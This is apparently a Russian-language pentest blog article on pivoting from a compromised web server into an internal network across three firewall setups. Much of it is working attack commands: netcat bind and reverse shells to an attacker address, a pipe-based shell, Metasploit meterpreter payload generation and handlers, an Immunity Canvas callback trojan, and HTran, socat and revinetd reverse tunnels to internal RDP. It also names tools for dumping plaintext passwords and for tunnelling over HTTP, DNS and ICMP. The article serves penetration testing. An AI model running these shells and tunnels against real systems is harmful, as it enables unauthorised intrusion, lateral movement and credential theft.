Атака на внутреннюю сеть из Интернет

Ключевыми задачами при развитии атаки во внутреннюю сеть (аля пентест), наравне с поиском и эксплуатацией уязвимостей, является доставка полезной нагрузки до объекта атаки и обеспечение "транспорта" к этому и смежным сетевым объектам. В качестве полезной нагрузки может выступать любой инструментарий (в т.ч. эксплоит), позволяющий расширить уровень привилегий, знаний (как по сети, так и в пределах одной системы) и осуществлять любые другие операции, выходящие за рамки функциональных возможностей атакуемой операционной системы и доступного на этой системе прикладного программного обеспечения. В качестве примера подобного инструментария можно упомянуть, например, Windows Credential Editor (WCE), который после компрометации операционной системы Windows необходимо запустить в адресном пространстве этой системы с целью получения паролей зарегистрированных пользователей в открытом виде. Под "транспортом" я понимаю любое туннелирование трафика, которое обеспечивает возможность взаимодействия с конкретным приложением на атакуемой системе. Например, обеспечение сетевого доступа по протоколу RDP к системе, расположенной за межсетевым экраном.

Задачи, связанные с доставкой полезной нагрузки и обеспечением "транспорта", могут пересекаться и дополнять друг друга. В данной публикации будут рассмотрены основные сценарии обеспечения "транспорта", которыми пользуются атакующие.

Рассмотрим три типовых сценария публикации внешних приложений (иллюстрация представлена ниже):

1. Сетевой доступ никак не ограничен в обе стороны (W01).
2. Сетевой доступ ограничен входящим TCP/80, обратно сетевой доступ не ограничен (W02).
3. Сетевой доступ ограничен входящим TCP/80, обратно весь ip-трафик блокируется пограничным межсетевым экраном (W03).

Постановка задачи для каждого из рассматриваемых сценариев будет следующей:

1. Обеспечить интерактивный терминал на веб-сервере (W0-3).

2. Обеспечить соединение по протоколу RDP к терминальному серверу (R).

При этом будем предполагать, что в качестве операционной системы веб-сервера могут выступать Windows/x86 или Linux/x86.

Сценарий 1 (веб-сервер W01)

Первый сценарий размещения веб-сервера, несмотря на архитектурное уродство при проектировании сетевой топологии, по-прежнему встречается на просторах нашей бескрайней.

Когда привилегий хватает (т.е. мы root/system) задача лежит в плоскости системного администрирования, т.е. переконфигурирование операционной системы веб-сервера в самый обыкновенный шлюз. Примеров подобных настроек для всех видов осей в интернете предостаточно, поэтому не стану на этом останавливаться.

Если мы ограничены в привилегиях, тогда нам никто не запрещает занять свободный TCP/UDP-порт в диапазоне 1024-65535 (данное ограничение не действует на Windows системы т.е. с правами пользователя можно занимать свободные порты ниже 1024).

Переключение на интерактивный терминал:

- Netcat (http://www.securitylab.ru/software/233635.php; http://www.securitylab.ru/software/233452.php)

Windows:

W01> nc.exe -l -p 12345 -e cmd.exe

H# nc 1.1.1.2 12345

W01> nc.exe -l -p 12345 -u -e cmd.exe

H# nc –u 1.1.1.2 12345

Linux:

W01> nc -l -p 12345 -e /bin/bash

H# nc 1.1.1.2 12345

Шпаргалка по Netcat: http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf

Обеспечение доступа к терминальному серверу:

- rinetd (http://www.boutell.com/rinetd/)

Windows/Linux:

W01> echo 0.0.0.0 12345 192.168.0.1 3389 > conf

W01> rinetd -f -c conf

H# rdesktop 1.1.1.2:12345

- fpipe (только Windows; http://www.mcafee.com/ru/downloads/free-tools/fpipe.aspx)

W01> FPipe -l 12345 -r 3389 192.168.0.1

H# rdesktop 1.1.1.2:12345

- socat (http://www.dest-unreach.org/socat/)

Windows/Linux:

W01> socat TCP4-LISTEN:12345 TCP4:192.168.0.1:3389

H# rdesktop 1.1.1.2:12345

Пример туннелирования TCP поверх UDP:

W01> socat UDP4-LISTEN:12345 TCP4:192.168.0.1:3389

H# socat TCP4-LISTEN:4444 UDP4:1.1.1.2:12345

H# rdesktop localhost:4444

- Proxifier (требуется proxy с поддержкой метода connect или socks; http://www.proxifier.com/)

- ProxyCap (требуется proxy с поддержкой метода connect, socks или ssh; http://www.proxycap.com/)

- putty (требуется ssh; http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)

Решение обоих задач:

- Metasploit Framework (http://www.metasploit.com/)

Windows:

H# msfpayload windows/meterpreter/bind_tcp LPORT=12345 X > meterpreter.exe

W01> meterpreter.exe

H# msfconsole

msf > use multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp

PAYLOAD => windows/meterpreter/bind_tcp

msf exploit(handler) > set RHOST 1.1.1.2

RHOST => 1.1.1.2

msf  exploit(handler) > set LPORT 12345

LPORT => 12345

msf exploit(handler) > exploit

[*] Started reverse handler

[*] Starting the payload handler...

meterpreter > execute -f cmd.exe -i -H

...

meterpreter > portfwd -l 4444 -p 3389 -r 192.168.0.1

...

H# rdesktop localhost:4444

Linux:

H# msfpayload linux/x86/meterpreter/bind_tcp LPORT=12345 X > meterpreter

…

Шпаргалка по MSF: http://www.offensive-security.com/metasploit-unleashed/

Сценарий 2 (веб-сервер W02)

Наиболее распространенный вариант размещения веб-сервера, который встречается буквально при тестировании каждой информационной системы. В данном сценарии межсетевой экран блокирует все входящие подключения, кроме http-порта занятого веб-сервером. Конечно можно совершить акт вандализма (в случае наличия соответствующих привилегий) убив веб-сервер и заняв его порт, но обычно настраивают обратные подключения…

Переключение на интерактивный терминал:

Равносильно первому сценарию, можно воспользоваться netcat’ом:

Windows:

H# nc -l -p 53

W02> nc.exe -e cmd.exe 2.2.2.2 53

Linux:

H# nc -l -p 53

W02> nc -e /bin/bash 2.2.2.2 53

Стоит отметить, что для тех случаев, когда волшебного ключика "-e" в находящейся под рукой сборке netcat нет, можно использовать, например, такую конструкцию:

H# nc -l -p 53

H# nc -l -p 80

W02> nc 2.2.2.2 53 | /bin/bash | nc 2.2.2.2 80

В данном примере на порту TCP/53 следует передавать команды операционной системы, а на порту TCP/80 получать результат выполнения этих команд. 

По аналогии может использоваться и socat (http://www.dest-unreach.org/socat/doc/linuxwochen2007-socat.pdf). По следующей ссылке содержится небольшая подборка по другим реализациям обратного подключения в интерактивный терминал: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Обеспечение доступа к терминальному серверу:

Все тот-же socat:

H# socat TCP4-LISTEN:12345,fork TCP4-LISTEN:4444

W02> socat TCP-CONNECT:2.2.2.2:12345 TCP-CONNECT:192.168.0.1:3389

H# rdesktop localhost:4444

- revinetd (http://revinetd.sourceforge.net/)

Linux<->Linux (http://sourceforge.net/projects/revinetd/files/):

H# ./revinetd -s -c 127.0.0.1:4444 -l 2.2.2.2:12345 -v -k 1

W02> ./revinetd -r -b 2.2.2.2:12345 -t 192.168.0.1:3389 -v -k 1

H# rdesktop localhost:4444

Windows<->Windows (http://ileriseviye.org/Makale/pics/revinetd/revinetd-bin.zip)

H# revinetd.exe -s -l 4444 -L 12345 -v -k 1

W02> revinetd.exe -r -c 2.2.2.2:12345 -t 192.168.0.1:3389 -v -k

…

PS. Разумеется в качестве серверной части может выступать сборка под windows, а в качестве клиентской под linux и наоборот.

- HTran (https://code.google.com/p/archive-code/source/browse/trunk/HTran/)

Более правильная реализация обратного TCP-туннелирования, которой судя по данному отчету активно пользуются Китайские собратья.

Linux<->Linux (http://www.lpboke.com/down/lcxForlinux.zip)

H# HTran -m 2 -p1 12345 -p2 4444

W02> HTran -m 3 -h1 2.2.2.2 -p1 12345 -h2 192.168.0.1 -p2 3389

H# rdesktop localhost:4444

Windows<->Windows (http://qfdk.free.fr/tools/%CC%E1%C8%A8/LCX.rar)

H# HTran.exe -listen 12345 4444

W02> HTran.exe -slave 2.2.2.2 12345 192.168.0.1 3389

…

PS. В отличии от revinetd данная реализация обратного TCP-туннелирования обладает преимуществами в возможностях каскадных соединений и в способности обрабатывать несколько параллельных TCP сессий со стороны клиентов.

Пример каскадного соединения:

H# HTran.exe -listen 12345 4444

W01> HTran.exe -tran 2.2.2.2 12345 4444

W02> ./HTran –m 3 –h1 192.168.0.2 –p1 4444 –h2 192.168.0.1 –p2 3389

…

Решение обоих задач:

Для MSF все также будет справедливо по аналогии с примером выше для первого сценария. Разница лишь в том, что тут потребуется использовать другую нагрузку:

H# msfpayload linux/x86/meterpreter/reverse_tcp LHOST=2.2.2.2 LPORT=12345 X > meterpreter

…

Альтернативой MSF для аналогичных целей может использоваться коммерческий эксплоит-пак Immunity Canvas:

H# exploits/BuildCallbackTrojan/BuildCallbackTrojan.py -t 0.0.0.0 -O callback_host:2.2.2.2 -O callback_port:5555 -O OS:Windows -O filename:immunity.exe

Поднимаем слушатель:

Получаем клиента на MOSDEF-транспорте:

И счастливые обладатели White Phosphorus Exploit Pack могут сделать port forward поверх MOSDEF (как это не покажется странным, но в составе самого Immunity Canvas родного пробрасывальщика портов нету).

Сценарий 3 (веб-сервер W03)

Данный вариант публикации внешнего приложения является наиболее суровым по отношению к атакующему. Для проброса "транспорта" к приложениям внутренней сети в этом сценарии используют непосредственно среду скомпрометированного веб-сервера/приложения. То есть, в пределах корневого каталога веб-сервера размещают новый сценарий, который отвечает за инкапсуляцию трафика. Альтернативным решением может являться подгрузка "правильного" модуля аля http-прокси с поддержкой метода connect.

- http-tunnel (только php; http://http-tunnel.sourceforge.net/)

- reduh (php, aspx, jsp; http://sensepost.com/labs/tools/pentest/reduh)

Пример использования reduh - http://carnal0wnage.attackresearch.com/2009_10_01_archive.html

- webtunnel (только perl; http://sourceforge.net/projects/webtunnel/)

Альтернативным решением может стать vpsproxy, функционал которого ограничен путешествием по протоколу HTTP(S).

Для получения интерактивного терминала на веб-сервере в данном сценарии может применяться следующий подход:

1. Поднимаем на свободном порту (в т.ч. localhost) интерактивный шелл (например, с использованием netcat).

2. Пробрасываем этот шелл к самому веб-серверу (по аналогии с протоколом RDP).

Другим вариантом общения с веб-сервером может служить протокол разрешения имен - DNS. Я имею ввиду такое общение, которое протекает через цепочку настоящих DNS-серверов, которым разрешен доступ в интернет, как минимум с использованием соответствующего протокола. Однако смысла в подобном пробросе для решения поставленных задач при имеющихся вводных не имеет т.к. использовать протокол DNS для инкапсулирования протокола RDP, увы, не получится. Дополнительную информацию про проброс поверх DNS, а также соответствующий инструментарий можно найти по следующим ссылкам:

- NSTX (http://thomer.com/howtos/nstx.html)

- Iodine (http://code.kryo.se/iodine/)

- DNScat (http://tadek.pietraszek.org/projects/DNScat/)

К слову, immunity canvas также поддерживает свой mosdef поверх протокола dns...

Если же мы изменим несколько вводные и разрешим бегать в сторону интернет протоколу ICMP, тогда он вполне подойдет для организации не самого шустрого транспорта для доступа к RDP. Стоит отметить, что на практике, конфигурации в которых со стороны веб-сервера заблокировано все, но разрешен протокол icmp (факт. ping), встречаются крайне и крайне редко. Но встречаются!

Для Immunity Canvas инструкция будет следующей:

MOSDEF вешаем на linux с правами root и в текущий таргет устанавливаем хост, от которого пойдут icmp пакеты и жмякаем меню Servers/icmp_proxy. На жертве запускаем:

Resources\icmp_proxy.exe -l 127.0.0.1 -p 5555 -t <хост с mosdef>

Resources\mosdef_callback.exe 127.0.0.1 5555

Бесплатные альтернативы для аналогичных целей:

- PingTunnel (http://www.opennet.ru/tips/1896_proxy_icmp_tunnel.shtml)

- Hans (http://code.gerade.org/hans/)

- icmpsh (https://github.com/inquisb/icmpsh)

- ICMP Shell (http://icmpshell.sourceforge.net/)

Разумеется, данный материал не является исчерпывающим по поднятой мною теме. Поэтому буду благодарен дорогим читателям за описание других жизненных ситуаций и пути их разрулирования.